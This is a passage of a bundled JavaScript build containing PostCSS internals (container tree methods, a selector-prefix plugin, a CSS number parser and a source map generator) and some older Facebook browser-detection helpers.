1349 this.indexes[iterator] += 1
1350 }
1351
1352 delete this.indexes[iterator]
1353 return result
1354 }
1355
1356 every(condition) {
1357 return this.nodes.every(condition)
1358 }
1359
1360 getIterator() {
1361 if (!this.lastEach) this.lastEach = 0
1362 if (!this.indexes) this.indexes = {}
1363
1364 this.lastEach += 1
1365 let iterator = this.lastEach
1366 this.indexes[iterator] = 0
1367
1368 return iterator
1369 }
1370
1371 getProxyProcessor() {
1372 return {
1373 get(node, prop) {
1374 if (prop === 'proxyOf') {
1375 return node
1376 } else if (!node[prop]) {
1377 return node[prop]
1378 } else if (
1379 prop === 'each' ||
1380 (typeof prop === 'string' && prop.startsWith('walk'))
1381 ) {
1382 return (...args) => {
1383 return node[prop](
1384 ...args.map(i => {
1385 if (typeof i === 'function') {
1386 return (child, index) => i(child.toProxy(), index)
1387 } else {
1388 return i
1389 }
1390 })
1391 )
1392 }
1393 } else if (prop === 'every' || prop === 'some') {
1394 return cb => {
1395 return node[prop]((child, ...other) =>
1396 cb(child.toProxy(), ...other)
1397 )
1398 }
1399 } else if (prop === 'root') {
1400 return () => node.root().toProxy()
1401 } else if (prop === 'nodes') {
1402 return node.nodes.map(i => i.toProxy())
1403 } else if (prop === 'first' || prop === 'last') {
1404 return node[prop].toProxy()
1405 } else {
1406 return node[prop]
1407 }
1408 },
1409
1410 set(node, prop, value) {
1411 if (node[prop] === value) return true
1412 node[prop] = value
1413 if (prop === 'name' || prop === 'params' || prop === 'selector') {
1414 node.markDirty()
1415 }
1416 return true
1417 }
1418 }
1419 }
1420
1421 index(child) {
1422 if (typeof child === 'number') return child
1423 if (child.proxyOf) child = child.proxyOf
1424 return this.proxyOf.nodes.indexOf(child)
1425 }
1426
1427 insertAfter(exist, add) {
1428 let existIndex = this.index(exist)
1429 let nodes = this.normalize(add, this.proxyOf.nodes[existIndex]).reverse()
1430 existIndex = this.index(exist)
1431 for (let node of nodes) this.proxyOf.nodes.splice(existIndex + 1, 0, node)
1432
1433 let index
1434 for (let id in this.indexes) {
1435 index = this.indexes[id]
1436 if (existIndex < index) {
1437 this.indexes[id] = index + nodes.length
1438 }
1439 }
1440
1441 this.markDirty()
1442
1443 return this
1444 }
1445
1446 insertBefore(exist, add) {
1447 let existIndex = this.index(exist)
1448 let type = existIndex === 0 ? 'prepend' : false
1449 let nodes = this.normalize(
1450 add,
1451 this.proxyOf.nodes[existIndex],
1452 type
1453 ).reverse()
1454 existIndex = this.index(exist)
1455 for (let node of nodes) this.proxyOf.nodes.splice(existIndex, 0, node)
1456
1457 let index
1458 for (let id in this.indexes) {
1459 index = this.indexes[id]
1460 if (existIndex <= index) {
1461 this.indexes[id] = index + nodes.length
1462 }
1463 }
1464
1465 this.markDirty()
1466
1467 return this
1468 }
1469
1470 normalize(nodes, sample) {
1471 if (typeof nodes === 'string') {
1472 nodes = cleanSource(parse(nodes).nodes)
1473 } else if (typeof nodes === 'undefined') {
1474 nodes = []
1475 } else if (Array.isArray(nodes)) {
1476 nodes = nodes.slice(0)
1477 for (let i of nodes) {
1478 if (i.parent) i.parent.removeChild(i, 'ignore')
1479 }
1480 } else if (nodes.type === 'root' && this.type !== 'document') {
1481 nodes = nodes.nodes.slice(0)
1482 for (let i of nodes) {
1483 if (i.parent) i.parent.removeChild(i, 'ignore')
1484 }
1485 } else if (nodes.type) {
1486 nodes = [nodes]
1487 } else if (nodes.prop) {
1488 if (typeof nodes.value === 'undefined') {
1489 throw new Error('Value field is missed in node creation')
1490 } else if (typeof nodes.value !== 'string') {
1491 nodes.value = String(nodes.value)
1492 }
1493 nodes = [new Declaration(nodes)]
1494 } else if (nodes.selector || nodes.selectors) {
1495 nodes = [new Rule(nodes)]
1496 } else if (nodes.name) {
1497 nodes = [new AtRule(nodes)]
1498 } else if (nodes.text) {
1499 nodes = [new Comment(nodes)]
1500 } else {
1501 throw new Error('Unknown node type in node creation')
1502 }
1503
1504 let processed = nodes.map(i => {
1505 /* c8 ignore next */
1506 if (!i[my]) Container.rebuild(i)
1507 i = i.proxyOf
1508 if (i.parent) i.parent.removeChild(i)
1509 if (i[isClean]) markTreeDirty(i)
1510
1511 if (!i.raws) i.raws = {}
1512 if (typeof i.raws.before === 'undefined') {
1513 if (sample && typeof sample.raws.before !== 'undefined') {
1514 i.raws.before = sample.raws.before.replace(/\S/g, '')
1515 }
1516 }
1517 i.parent = this.proxyOf
1518 return i
1519 })
1520
1521 return processed
1522 }
1523
1524 prepend(...children) {
1525 children = children.reverse()
1526 for (let child of children) {
1527 let nodes = this.normalize(child, this.first, 'prepend').reverse()
1528 for (let node of nodes) this.proxyOf.nodes.unshift(node)
1529 for (let id in this.indexes) {
1530 this.indexes[id] = this.indexes[id] + nodes.length
1531 }
1532 }
1533
1534 this.markDirty()
1535
1536 return this
1537 }
1538
1539 push(child) {
1540 child.parent = this
1541 this.proxyOf.nodes.push(child)
1542 return this
1543 }
1544
1545 removeAll() {
1546 for (let node of this.proxyOf.nodes) node.parent = undefined
1547 this.proxyOf.nodes = []
1548
1549 this.markDirty()
1550
1551 return this
1552 }
1553
1554 removeChild(child) {
1555 child = this.index(child)
1556 this.proxyOf.nodes[child].parent = undefined
1557 this.proxyOf.nodes.splice(child, 1)
1558
1559 let index
1560 for (let id in this.indexes) {
1561 index = this.indexes[id]
1562 if (index >= child) {
1563 this.indexes[id] = index - 1
1564 }
1565 }
1566
1567 this.markDirty()
1568
1569 return this
1570 }
1571
1572 replaceValues(pattern, opts, callback) {
1573 if (!callback) {
1574 callback = opts
1575 opts = {}
1576 }
1577
1578 this.walkDecls(decl => {
1579 if (opts.props && !opts.props.includes(decl.prop)) return
1580 if (opts.fast && !decl.value.includes(opts.fast)) return
1581
1582 decl.value = decl.value.replace(pattern, callback)
1583 })
1584
1585 this.markDirty()
1586
1587 return this
1588 }
1589
1590 some(condition) {
1591 return this.nodes.some(condition)
1592 }
1593
1594 walk(callback) {
1595 return this.each((child, i) => {
1596 let result
1597 try {
1598 result = callback(child, i)
1599 } catch (e) {
1600 throw child.addToError(e)
1601 }
1602 if (result !== false && child.walk) {
1603 result = child.walk(callback)
1604 }
1605
1606 return result
1607 })
1608 }
1609
1610 walkAtRules(name, callback) {
1611 if (!callback) {
1612 callback = name
1613 return this.walk((child, i) => {
1614 if (child.type === 'atrule') {
1615 return callback(child, i)
1616 }
1617 })
1618 }
1619 if (name instanceof RegExp) {
1620 return this.walk((child, i) => {
1621 if (child.type === 'atrule' && name.test(child.name)) {
1622 return callback(child, i)
1623 }
1624 })
1625 }
1626 return this.walk((child, i) => {
1627 if (child.type === 'atrule' && child.name === name) {
1628 return callback(child, i)
1629 }
1630 })
1631 }
1632
1633 walkComments(callback) {
1634 return this.walk((child, i) => {
1635 if (child.type === 'comment') {
1636 return callback(child, i)
1637 }
1638 })
1639 }
1640
1641 walkDecls(prop, callback) {
1642 if (!callback) {
1643 callback = prop
1644 return this.walk((child, i) => {
1645 if (child.type === 'decl') {
1646 return callback(child, i)
1647 }
1648 })
1649 }
1650 if (prop instanceof RegExp) {
1651 return this.walk((child, i) => {
1652 if (child.type === 'decl' && prop.test(child.prop)) {
1653 return callback(child, i)
1654 }
1655 })
1656 }
1657 return this.walk((child, i) => {
1658 if (child.type === 'decl' && child.prop === prop) {
1659 return callback(child, i)
1660 }
1661 })
1662 }
1663
1664 walkRules(selector, callback) {
1665 if (!callback) {
1666 callback = selector
1667
1668 return this.walk((child, i) => {
1669 if (child.type === 'rule') {
1670 return callback(child, i)
1671 }
1672 })
1673 }
1674 if (selector instanceof RegExp) {
1675 return this.walk((child, i) => {
1676 if (child.type === 'rule' && selector.test(child.selector)) {
1677 return callback(child, i)
1678 }
1679 })
1680 }
1681 return this.walk((child, i) => {
1682 if (child.type === 'rule' && child.selector === selector) {
1683 return callback(child, i)
1684 }
1685 })
1686 }
1687}
1688
1689Container.registerParse = dependant => {
1690 parse = dependant
1691}
1692
1693Container.registerRule = dependant => {
1694 Rule = dependant
1695}
1696
1697Container.registerAtRule = dependant => {
1698 AtRule = dependant
1699}
1700
1701Container.registerRoot = dependant => {
1702 Root = dependant
1703}
1704
1705module.exports = Container
1706Container.default = Container
1707
1708/* c8 ignore start */
1709Container.rebuild = node => {
1710 if (node.type === 'atrule') {
1711 Object.setPrototypeOf(node, AtRule.prototype)
1712 } else if (node.type === 'rule') {
1713 Object.setPrototypeOf(node, Rule.prototype)
1714 } else if (node.type === 'decl') {
1715 Object.setPrototypeOf(node, Declaration.prototype)
1716 } else if (node.type === 'comment') {
1717 Object.setPrototypeOf(node, Comment.prototype)
1718 } else if (node.type === 'root') {
1719 Object.setPrototypeOf(node, Root.prototype)
1720 }
1721
1722 node[my] = true
1723
1724 if (node.nodes) {
1725 node.nodes.forEach(child => {
1726 Container.rebuild(child)
1727 })
1728 }
1729}
1730/* c8 ignore stop */
1731
1732
1733/***/ }),
1734
1735/***/ 1087:
1736/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
1737
1738"use strict";
1739/**
1740 * Copyright 2013-2015, Facebook, Inc.
1741 * All rights reserved.
1742 *
1743 * This source code is licensed under the BSD-style license found in the
1744 * LICENSE file in the root directory of this source tree. An additional grant
1745 * of patent rights can be found in the PATENTS file in the same directory.
1746 *
1747 * @providesModule isEventSupported
1748 */
1749
1750
1751
1752var ExecutionEnvironment = __webpack_require__(8202);
1753
1754var useHasFeature;
1755if (ExecutionEnvironment.canUseDOM) {
1756 useHasFeature =
1757 document.implementation &&
1758 document.implementation.hasFeature &&
1759 // always returns true in newer browsers as per the standard.
1760 // @see http://dom.spec.whatwg.org/#dom-domimplementation-hasfeature
1761 document.implementation.hasFeature('', '') !== true;
1762}
1763
1764/**
1765 * Checks if an event is supported in the current execution environment.
1766 *
1767 * NOTE: This will not work correctly for non-generic events such as `change`,
1768 * `reset`, `load`, `error`, and `select`.
1769 *
1770 * Borrows from Modernizr.
1771 *
1772 * @param {string} eventNameSuffix Event name, e.g. "click".
1773 * @param {?boolean} capture Check if the capture phase is supported.
1774 * @return {boolean} True if the event is supported.
1775 * @internal
1776 * @license Modernizr 3.0.0pre (Custom Build) | MIT
1777 */
1778function isEventSupported(eventNameSuffix, capture) {
1779 if (!ExecutionEnvironment.canUseDOM ||
1780 capture && !('addEventListener' in document)) {
1781 return false;
1782 }
1783
1784 var eventName = 'on' + eventNameSuffix;
1785 var isSupported = eventName in document;
1786
1787 if (!isSupported) {
1788 var element = document.createElement('div');
1789 element.setAttribute(eventName, 'return;');
1790 isSupported = typeof element[eventName] === 'function';
1791 }
1792
1793 if (!isSupported && useHasFeature && eventNameSuffix === 'wheel') {
1794 // This is the only way to test support for the `wheel` event in IE9+.
1795 isSupported = document.implementation.hasFeature('Events.wheel', '3.0');
1796 }
1797
1798 return isSupported;
1799}
1800
1801module.exports = isEventSupported;
1802
1803
1804/***/ }),
1805
1806/***/ 1326:
1807/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
1808
1809"use strict";
1810
1811
1812let Container = __webpack_require__(683)
1813
1814class AtRule extends Container {
1815 constructor(defaults) {
1816 super(defaults)
1817 this.type = 'atrule'
1818 }
1819
1820 append(...children) {
1821 if (!this.proxyOf.nodes) this.nodes = []
1822 return super.append(...children)
1823 }
1824
1825 prepend(...children) {
1826 if (!this.proxyOf.nodes) this.nodes = []
1827 return super.prepend(...children)
1828 }
1829}
1830
1831module.exports = AtRule
1832AtRule.default = AtRule
1833
1834Container.registerAtRule(AtRule)
1835
1836
1837/***/ }),
1838
1839/***/ 1381:
1840/***/ ((module) => {
1841
1842"use strict";
1843
1844
1845module.exports.isClean = Symbol('isClean')
1846
1847module.exports.my = Symbol('my')
1848
1849
1850/***/ }),
1851
1852/***/ 1443:
1853/***/ ((module) => {
1854
1855module.exports = function postcssPrefixSelector(options) {
1856 const prefix = options.prefix;
1857 const prefixWithSpace = /\s+$/.test(prefix) ? prefix : `${prefix} `;
1858 const ignoreFiles = options.ignoreFiles ? [].concat(options.ignoreFiles) : [];
1859 const includeFiles = options.includeFiles
1860 ? [].concat(options.includeFiles)
1861 : [];
1862
1863 return function (root) {
1864 if (
1865 ignoreFiles.length &&
1866 root.source.input.file &&
1867 isFileInArray(root.source.input.file, ignoreFiles)
1868 ) {
1869 return;
1870 }
1871 if (
1872 includeFiles.length &&
1873 root.source.input.file &&
1874 !isFileInArray(root.source.input.file, includeFiles)
1875 ) {
1876 return;
1877 }
1878
1879 root.walkRules((rule) => {
1880 const keyframeRules = [
1881 'keyframes',
1882 '-webkit-keyframes',
1883 '-moz-keyframes',
1884 '-o-keyframes',
1885 '-ms-keyframes',
1886 ];
1887
1888 if (rule.parent && keyframeRules.includes(rule.parent.name)) {
1889 return;
1890 }
1891
1892 rule.selectors = rule.selectors.map((selector) => {
1893 if (options.exclude && excludeSelector(selector, options.exclude)) {
1894 return selector;
1895 }
1896
1897 if (options.transform) {
1898 return options.transform(
1899 prefix,
1900 selector,
1901 prefixWithSpace + selector,
1902 root.source.input.file,
1903 rule
1904 );
1905 }
1906
1907 return prefixWithSpace + selector;
1908 });
1909 });
1910 };
1911};
1912
1913function isFileInArray(file, arr) {
1914 return arr.some((ruleOrString) => {
1915 if (ruleOrString instanceof RegExp) {
1916 return ruleOrString.test(file);
1917 }
1918
1919 return file.includes(ruleOrString);
1920 });
1921}
1922
1923function excludeSelector(selector, excludeArr) {
1924 return excludeArr.some((excludeRule) => {
1925 if (excludeRule instanceof RegExp) {
1926 return excludeRule.test(selector);
1927 }
1928
1929 return selector === excludeRule;
1930 });
1931}
1932
1933
1934/***/ }),
1935
1936/***/ 1516:
1937/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
1938
1939"use strict";
1940
1941
1942let Node = __webpack_require__(7490)
1943
1944class Declaration extends Node {
1945 get variable() {
1946 return this.prop.startsWith('--') || this.prop[0] === '$'
1947 }
1948
1949 constructor(defaults) {
1950 if (
1951 defaults &&
1952 typeof defaults.value !== 'undefined' &&
1953 typeof defaults.value !== 'string'
1954 ) {
1955 defaults = { ...defaults, value: String(defaults.value) }
1956 }
1957 super(defaults)
1958 this.type = 'decl'
1959 }
1960}
1961
1962module.exports = Declaration
1963Declaration.default = Declaration
1964
1965
1966/***/ }),
1967
1968/***/ 1524:
1969/***/ ((module) => {
1970
1971var minus = "-".charCodeAt(0);
1972var plus = "+".charCodeAt(0);
1973var dot = ".".charCodeAt(0);
1974var exp = "e".charCodeAt(0);
1975var EXP = "E".charCodeAt(0);
1976
1977// Check if three code points would start a number
1978// https://www.w3.org/TR/css-syntax-3/#starts-with-a-number
1979function likeNumber(value) {
1980 var code = value.charCodeAt(0);
1981 var nextCode;
1982
1983 if (code === plus || code === minus) {
1984 nextCode = value.charCodeAt(1);
1985
1986 if (nextCode >= 48 && nextCode <= 57) {
1987 return true;
1988 }
1989
1990 var nextNextCode = value.charCodeAt(2);
1991
1992 if (nextCode === dot && nextNextCode >= 48 && nextNextCode <= 57) {
1993 return true;
1994 }
1995
1996 return false;
1997 }
1998
1999 if (code === dot) {
2000 nextCode = value.charCodeAt(1);
2001
2002 if (nextCode >= 48 && nextCode <= 57) {
2003 return true;
2004 }
2005
2006 return false;
2007 }
2008
2009 if (code >= 48 && code <= 57) {
2010 return true;
2011 }
2012
2013 return false;
2014}
2015
2016// Consume a number
2017// https://www.w3.org/TR/css-syntax-3/#consume-number
2018module.exports = function(value) {
2019 var pos = 0;
2020 var length = value.length;
2021 var code;
2022 var nextCode;
2023 var nextNextCode;
2024
2025 if (length === 0 || !likeNumber(value)) {
2026 return false;
2027 }
2028
2029 code = value.charCodeAt(pos);
2030
2031 if (code === plus || code === minus) {
2032 pos++;
2033 }
2034
2035 while (pos < length) {
2036 code = value.charCodeAt(pos);
2037
2038 if (code < 48 || code > 57) {
2039 break;
2040 }
2041
2042 pos += 1;
2043 }
2044
2045 code = value.charCodeAt(pos);
2046 nextCode = value.charCodeAt(pos + 1);
2047
2048 if (code === dot && nextCode >= 48 && nextCode <= 57) {
2049 pos += 2;
2050
2051 while (pos < length) {
2052 code = value.charCodeAt(pos);
2053
2054 if (code < 48 || code > 57) {
2055 break;
2056 }
2057
2058 pos += 1;
2059 }
2060 }
2061
2062 code = value.charCodeAt(pos);
2063 nextCode = value.charCodeAt(pos + 1);
2064 nextNextCode = value.charCodeAt(pos + 2);
2065
2066 if (
2067 (code === exp || code === EXP) &&
2068 ((nextCode >= 48 && nextCode <= 57) ||
2069 ((nextCode === plus || nextCode === minus) &&
2070 nextNextCode >= 48 &&
2071 nextNextCode <= 57))
2072 ) {
2073 pos += nextCode === plus || nextCode === minus ? 3 : 2;
2074
2075 while (pos < length) {
2076 code = value.charCodeAt(pos);
2077
2078 if (code < 48 || code > 57) {
2079 break;
2080 }
2081
2082 pos += 1;
2083 }
2084 }
2085
2086 return {
2087 number: value.slice(0, pos),
2088 unit: value.slice(pos)
2089 };
2090};
2091
2092
2093/***/ }),
2094
2095/***/ 1544:
2096/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
2097
2098var parse = __webpack_require__(8491);
2099var walk = __webpack_require__(3815);
2100var stringify = __webpack_require__(4725);
2101
2102function ValueParser(value) {
2103 if (this instanceof ValueParser) {
2104 this.nodes = parse(value);
2105 return this;
2106 }
2107 return new ValueParser(value);
2108}
2109
2110ValueParser.prototype.toString = function() {
2111 return Array.isArray(this.nodes) ? stringify(this.nodes) : "";
2112};
2113
2114ValueParser.prototype.walk = function(cb, bubble) {
2115 walk(this.nodes, cb, bubble);
2116 return this;
2117};
2118
2119ValueParser.unit = __webpack_require__(1524);
2120
2121ValueParser.walk = walk;
2122
2123ValueParser.stringify = stringify;
2124
2125module.exports = ValueParser;
2126
2127
2128/***/ }),
2129
2130/***/ 1609:
2131/***/ ((module) => {
2132
2133"use strict";
2134module.exports = window["React"];
2135
2136/***/ }),
2137
2138/***/ 1670:
2139/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
2140
2141"use strict";
2142
2143
2144let { dirname, relative, resolve, sep } = __webpack_require__(197)
2145let { SourceMapConsumer, SourceMapGenerator } = __webpack_require__(1866)
2146let { pathToFileURL } = __webpack_require__(2739)
2147
2148let Input = __webpack_require__(5380)
2149
2150let sourceMapAvailable = Boolean(SourceMapConsumer && SourceMapGenerator)
2151let pathAvailable = Boolean(dirname && resolve && relative && sep)
2152
2153class MapGenerator {
2154 constructor(stringify, root, opts, cssString) {
2155 this.stringify = stringify
2156 this.mapOpts = opts.map || {}
2157 this.root = root
2158 this.opts = opts
2159 this.css = cssString
2160 this.originalCSS = cssString
2161 this.usesFileUrls = !this.mapOpts.from && this.mapOpts.absolute
2162
2163 this.memoizedFileURLs = new Map()
2164 this.memoizedPaths = new Map()
2165 this.memoizedURLs = new Map()
2166 }
2167
2168 addAnnotation() {
2169 let content
2170
2171 if (this.isInline()) {
2172 content =
2173 'data:application/json;base64,' + this.toBase64(this.map.toString())
2174 } else if (typeof this.mapOpts.annotation === 'string') {
2175 content = this.mapOpts.annotation
2176 } else if (typeof this.mapOpts.annotation === 'function') {
2177 content = this.mapOpts.annotation(this.opts.to, this.root)
2178 } else {
2179 content = this.outputFile() + '.map'
2180 }
2181 let eol = '\n'
2182 if (this.css.includes('\r\n')) eol = '\r\n'
2183
2184 this.css += eol + '/*# sourceMappingURL=' + content + ' */'
2185 }
2186
2187 applyPrevMaps() {
2188 for (let prev of this.previous()) {
2189 let from = this.toUrl(this.path(prev.file))
2190 let root = prev.root || dirname(prev.file)
2191 let map
2192
2193 if (this.mapOpts.sourcesContent === false) {
2194 map = new SourceMapConsumer(prev.text)
2195 if (map.sourcesContent) {
2196 map.sourcesContent = null
2197 }
2198 } else {
2199 map = prev.consumer()
2200 }
2201
2202 this.map.applySourceMap(map, from, this.toUrl(this.path(root)))
2203 }
2204 }
2205
2206 clearAnnotation() {
2207 if (this.mapOpts.annotation === false) return
2208
2209 if (this.root) {
2210 let node
2211 for (let i = this.root.nodes.length - 1; i >= 0; i--) {
2212 node = this.root.nodes[i]
2213 if (node.type !== 'comment') continue
2214 if (node.text.startsWith('# sourceMappingURL=')) {
2215 this.root.removeChild(i)
2216 }
2217 }
2218 } else if (this.css) {
2219 this.css = this.css.replace(/\n*\/\*#[\S\s]*?\*\/$/gm, '')
2220 }
2221 }
2222
2223 generate() {
2224 this.clearAnnotation()
2225 if (pathAvailable && sourceMapAvailable && this.isMap()) {
2226 return this.generateMap()
2227 } else {
2228 let result = ''
2229 this.stringify(this.root, i => {
2230 result += i
2231 })
2232 return [result]
2233 }
2234 }
2235
2236 generateMap() {
2237 if (this.root) {
2238 this.generateString()
2239 } else if (this.previous().length === 1) {
2240 let prev = this.previous()[0].consumer()
2241 prev.file = this.outputFile()
2242 this.map = SourceMapGenerator.fromSourceMap(prev, {
2243 ignoreInvalidMapping: true
2244 })
2245 } else {
2246 this.map = new SourceMapGenerator({
2247 file: this.outputFile(),
2248 ignoreInvalidMapping: true
2249 })
2250 this.map.addMapping({
2251 generated: { column: 0, line: 1 },
2252 original: { column: 0, line: 1 },
2253 source: this.opts.from
2254 ? this.toUrl(this.path(this.opts.from))
2255 : '<no source>'
2256 })
2257 }
2258
2259 if (this.isSourcesContent()) this.setSourcesContent()
2260 if (this.root && this.previous().length > 0) this.applyPrevMaps()
2261 if (this.isAnnotation()) this.addAnnotation()
2262
2263 if (this.isInline()) {
2264 return [this.css]
2265 } else {
2266 return [this.css, this.map]
2267 }
2268 }
2269
2270 generateString() {
2271 this.css = ''
2272 this.map = new SourceMapGenerator({
2273 file: this.outputFile(),
2274 ignoreInvalidMapping: true
2275 })
2276
2277 let line = 1
2278 let column = 1
2279
2280 let noSource = '<no source>'
2281 let mapping = {
2282 generated: { column: 0, line: 0 },
2283 original: { column: 0, line: 0 },
2284 source: ''
2285 }
2286
2287 let last, lines
2288 this.stringify(this.root, (str, node, type) => {
2289 this.css += str
2290
2291 if (node && type !== 'end') {
2292 mapping.generated.line = line
2293 mapping.generated.column = column - 1
2294 if (node.source && node.source.start) {
2295 mapping.source = this.sourcePath(node)
2296 mapping.original.line = node.source.start.line
2297 mapping.original.column = node.source.start.column - 1
2298 this.map.addMapping(mapping)
2299 } else {
2300 mapping.source = noSource
2301 mapping.original.line = 1
2302 mapping.original.column = 0
2303 this.map.addMapping(mapping)
2304 }
2305 }
2306
2307 lines = str.match(/\n/g)
2308 if (lines) {
2309 line += lines.length
2310 last = str.lastIndexOf('\n')
2311 column = str.length - last
2312 } else {
2313 column += str.length
2314 }
2315
2316 if (node && type !== 'start') {
2317 let p = node.parent || { raws: {} }
2318 let childless =
2319 node.type === 'decl' || (node.type === 'atrule' && !node.nodes)
2320 if (!childless || node !== p.last || p.raws.semicolon) {
2321 if (node.source && node.source.end) {
2322 mapping.source = this.sourcePath(node)
2323 mapping.original.line = node.source.end.line
2324 mapping.original.column = node.source.end.column - 1
2325 mapping.generated.line = line
2326 mapping.generated.column = column - 2
2327 this.map.addMapping(mapping)
2328 } else {
2329 mapping.source = noSource
2330 mapping.original.line = 1
2331 mapping.original.column = 0
2332 mapping.generated.line = line
2333 mapping.generated.column = column - 1
2334 this.map.addMapping(mapping)
2335 }
2336 }
2337 }
2338 })
2339 }
2340
2341 isAnnotation() {
2342 if (this.isInline()) {
2343 return true
2344 }
2345 if (typeof this.mapOpts.annotation !== 'undefined') {
2346 return this.mapOpts.annotation
2347 }
2348 if (this.previous().length) {
2349 return this.previous().some(i => i.annotation)
2350 }
2351 return true
2352 }
2353
2354 isInline() {
2355 if (typeof this.mapOpts.inline !== 'undefined') {
2356 return this.mapOpts.inline
2357 }
2358
2359 let annotation = this.mapOpts.annotation
2360 if (typeof annotation !== 'undefined' && annotation !== true) {
2361 return false
2362 }
2363
2364 if (this.previous().length) {
2365 return this.previous().some(i => i.inline)
2366 }
2367 return true
2368 }
2369
2370 isMap() {
2371 if (typeof this.opts.map !== 'undefined') {
2372 return !!this.opts.map
2373 }
2374 return this.previous().length > 0
2375 }
2376
2377 isSourcesContent() {
2378 if (typeof this.mapOpts.sourcesContent !== 'undefined') {
2379 return this.mapOpts.sourcesContent
2380 }
2381 if (this.previous().length) {
2382 return this.previous().some(i => i.withContent())
2383 }
2384 return true
2385 }
2386
2387 outputFile() {
2388 if (this.opts.to) {
2389 return this.path(this.opts.to)
2390 } else if (this.opts.from) {
2391 return this.path(this.opts.from)
2392 } else {
2393 return 'to.css'
2394 }
2395 }
2396
2397 path(file) {
2398 if (this.mapOpts.absolute) return file
2399 if (file.charCodeAt(0) === 60 /* `<` */) return file
2400 if (/^\w+:\/\//.test(file)) return file
2401 let cached = this.memoizedPaths.get(file)
2402 if (cached) return cached
2403
2404 let from = this.opts.to ? dirname(this.opts.to) : '.'
2405
2406 if (typeof this.mapOpts.annotation === 'string') {
2407 from = dirname(resolve(from, this.mapOpts.annotation))
2408 }
2409
2410 let path = relative(from, file)
2411 this.memoizedPaths.set(file, path)
2412
2413 return path
2414 }
2415
2416 previous() {
2417 if (!this.previousMaps) {
2418 this.previousMaps = []
2419 if (this.root) {
2420 this.root.walk(node => {
2421 if (node.source && node.source.input.map) {
2422 let map = node.source.input.map
2423 if (!this.previousMaps.includes(map)) {
2424 this.previousMaps.push(map)
2425 }
2426 }
2427 })
2428 } else {
2429 let input = new Input(this.originalCSS, this.opts)
2430 if (input.map) this.previousMaps.push(input.map)
2431 }
2432 }
2433
2434 return this.previousMaps
2435 }
2436
2437 setSourcesContent() {
2438 let already = {}
2439 if (this.root) {
2440 this.root.walk(node => {
2441 if (node.source) {
2442 let from = node.source.input.from
2443 if (from && !already[from]) {
2444 already[from] = true
2445 let fromUrl = this.usesFileUrls
2446 ? this.toFileUrl(from)
2447 : this.toUrl(this.path(from))
2448 this.map.setSourceContent(fromUrl, node.source.input.css)
2449 }
2450 }
2451 })
2452 } else if (this.css) {
2453 let from = this.opts.from
2454 ? this.toUrl(this.path(this.opts.from))
2455 : '<no source>'
2456 this.map.setSourceContent(from, this.css)
2457 }
2458 }
2459
2460 sourcePath(node) {
2461 if (this.mapOpts.from) {
2462 return this.toUrl(this.mapOpts.from)
2463 } else if (this.usesFileUrls) {
2464 return this.toFileUrl(node.source.input.from)
2465 } else {
2466 return this.toUrl(this.path(node.source.input.from))
2467 }
2468 }
2469
2470 toBase64(str) {
2471 if (Buffer) {
2472 return Buffer.from(str).toString('base64')
2473 } else {
2474 return window.btoa(unescape(encodeURIComponent(str)))
2475 }
2476 }
2477
2478 toFileUrl(path) {
2479 let cached = this.memoizedFileURLs.get(path)
2480 if (cached) return cached
2481
2482 if (pathToFileURL) {
2483 let fileURL = pathToFileURL(path).toString()
2484 this.memoizedFileURLs.set(path, fileURL)
2485
2486 return fileURL
2487 } else {
2488 throw new Error(
2489 '`map.absolute` option is not available in this PostCSS build'
2490 )
2491 }
2492 }
2493
2494 toUrl(path) {
2495 let cached = this.memoizedURLs.get(path)
2496 if (cached) return cached
2497
2498 if (sep === '\\') {
2499 path = path.replace(/\\/g, '/')
2500 }
2501
2502 let url = encodeURI(path).replace(/[#?]/g, encodeURIComponent)
2503 this.memoizedURLs.set(path, url)
2504
2505 return url
2506 }
2507}
2508
2509module.exports = MapGenerator
2510
2511
2512/***/ }),
2513
2514/***/ 1866:
2515/***/ (() => {
2516
2517/* (ignored) */
2518
2519/***/ }),
2520
2521/***/ 2213:
2522/***/ ((module) => {
2523
2524/**
2525 * Copyright 2004-present Facebook. All Rights Reserved.
2526 *
2527 * @providesModule UserAgent_DEPRECATED
2528 */
2529
2530/**
2531 * Provides entirely client-side User Agent and OS detection. You should prefer
2532 * the non-deprecated UserAgent module when possible, which exposes our
2533 * authoritative server-side PHP-based detection to the client.
2534 *
2535 * Usage is straightforward:
2536 *
2537 * if (UserAgent_DEPRECATED.ie()) {
2538 * // IE
2539 * }
2540 *
2541 * You can also do version checks:
2542 *
2543 * if (UserAgent_DEPRECATED.ie() >= 7) {
2544 * // IE7 or better
2545 * }
2546 *
2547 * The browser functions will return NaN if the browser does not match, so
2548 * you can also do version compares the other way:
2549 *
2550 * if (UserAgent_DEPRECATED.ie() < 7) {
2551 * // IE6 or worse
2552 * }
2553 *
2554 * Note that the version is a float and may include a minor version number,
2555 * so you should always use range operators to perform comparisons, not
2556 * strict equality.
2557 *
2558 * **Note:** You should **strongly** prefer capability detection to browser
2559 * version detection where it's reasonable:
2560 *
2561 * http://www.quirksmode.org/js/support.html
2562 *
2563 * Further, we have a large number of mature wrapper functions and classes
2564 * which abstract away many browser irregularities. Check the documentation,
2565 * grep for things, or ask on javascript@lists.facebook.com before writing yet
2566 * another copy of "event || window.event".
2567 *
2568 */
2569
2570var _populated = false;
2571
2572// Browsers
2573var _ie, _firefox, _opera, _webkit, _chrome;
2574
2575// Actual IE browser for compatibility mode
2576var _ie_real_version;
2577
2578// Platforms
2579var _osx, _windows, _linux, _android;
2580
2581// Architectures
2582var _win64;
2583
2584// Devices
2585var _iphone, _ipad, _native;
2586
2587var _mobile;
2588
2589function _populate() {
2590 if (_populated) {
2591 return;
2592 }
2593
2594 _populated = true;
2595
2596 // To work around buggy JS libraries that can't handle multi-digit
2597 // version numbers, Opera 10's user agent string claims it's Opera
2598 // 9, then later includes a Version/X.Y field:
2599 //
2600 // Opera/9.80 (foo) Presto/2.2.15 Version/10.10
2601 var uas = navigator.userAgent;
2602 var agent = /(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))|(?:Trident\/\d+\.\d+.*rv:(\d+\.\d+))/.exec(uas);
2603 var os = /(Mac OS X)|(Windows)|(Linux)/.exec(uas);
2604
2605 _iphone = /\b(iPhone|iP[ao]d)/.exec(uas);
